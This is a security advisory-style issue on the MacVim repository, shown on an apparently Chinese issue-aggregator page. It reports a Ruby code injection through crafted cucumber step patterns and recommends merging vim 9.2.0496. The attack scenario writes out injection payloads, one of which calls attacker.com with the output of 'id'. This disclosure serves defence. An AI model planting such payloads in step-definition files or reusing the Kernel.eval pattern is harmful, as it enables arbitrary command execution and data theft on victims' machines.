macvim-dev / macvim-dev/macvim
[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)
还没有人认领这个 Issue。
- 主要语言
- Vim Script
- 星标
- 7.9k
- 派生
- 691
- PR 合并指标
- 30 天内没有已合并 PR
描述
[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)
Summary
MacVim bundles the vim runtime at version 9.2 (patches 1-321 in the current build), which is
below the patched version 9.2.0496 that fixes a code injection vulnerability in the cucumber
filetype plugin's s:stepmatch() function. MacVim supports Ruby (+ruby), making it
susceptible to this attack.
Vulnerability Details
- GHSA: GHSA-4473-94jm-w5x9
- Upstream fix: vim 9.2.0496 (commit
a65a52d684bc58535ad28a4ae824d22e76399934) - Affected code:
runtime/ftplugin/cucumber.vim—s:stepmatch()function - Vulnerability type: CWE-94 — Improper Control of Generation of Code (Code Injection)
Root Cause
In s:stepmatch(), when Vimscript's built-in pattern matching fails, the function falls back
to using Ruby's Kernel.eval() to evaluate a regex constructed from an attacker-controlled
pattern:
" runtime/ftplugin/cucumber.vim lines 98-99 (macvim r183)
if has("ruby") && pattern !~ '\\\@<!#{'
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
The pattern variable is derived from step-definition strings in .rb files in the
project (via s:allsteps()). If a step definition file contains a pattern like:
/) + system('touch /tmp/pwned') + (/
then Kernel.eval('/'+pattern+'/') becomes:
Kernel.eval('//) + system('touch /tmp/pwned') + (//')
The rescue SyntaxError guard only prevents a crash; it does not prevent execution of valid
Ruby expressions. An attacker can craft patterns that both execute arbitrary Ruby and are
syntactically valid.
The !~ '\\\@<!#{' check only guards against Ruby string interpolation (#{...}) and does
not protect against regex literal injection.
Attack Scenario
- An attacker places a malicious
.rbstep-definitions file in the project's
features/step_definitions/directory with a crafted step pattern:Given(/\/) + system('curl http://attacker.com/?$(id)') + (\// ) do end - The victim opens a
.featurefile in MacVim (which has+ruby) and uses the
[dor]dstep-jump mappings that calls:steps()→s:stepmatch(). Kernel.evalexecutes the injected Ruby expression, runningsystem()with
arbitrary shell commands.
Affected MacVim Code
" cucumber.vim line 99 (macvim r183)
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
Affected MacVim Version
MacVim r183 (vim 9.2 patches 1-321) — current HEAD as of 2026-05-18.
The fix commit a65a52d684bc58535ad28a4ae824d22e76399934 from vim/vim is not present
in the macvim-dev/macvim repository.
Suggested Fix
Merge or cherry-pick vim/vim patches up to at least 9.2.0496.
The fix replaces Kernel.eval('/'+pattern+'/') with Regexp.new(pattern), which creates a
regex object directly from the string without evaluating arbitrary Ruby code:
# Fixed (vim 9.2.0496):
ruby VIM.command("return #{if (begin; Regexp.new(VIM.evaluate('pattern')); rescue RegexpError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
Regexp.new() only constructs a regular expression; it cannot execute shell commands or
arbitrary Ruby expressions even if the pattern contains injection attempts.
References
贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
调研方向
首先检查 runtime/ftplugin/cucumber.vim,并将其中 s:stepmatch() 的实现与上游 Vim 提交 a65a52d684bc58535ad28a4ae824d22e76399934 进行比较。更新捆绑的 runtime 以包含 9.2.0496 修复,然后验证易受攻击的 Kernel.eval() 路径已被替换,并确认受影响的 runtime 版本是最新的。
由索引模型根据 Issue 内容生成。
评估
- 技术栈
- ruby, vim
- 领域
- desktop-dev, security
- Issue 类型
- 缺陷
- 难度
- 3/5
- 预计耗时
- 1-2 天
- 活跃度
- 冷清
- 描述清晰度
- 描述清楚
- 新手友好度
- 68/100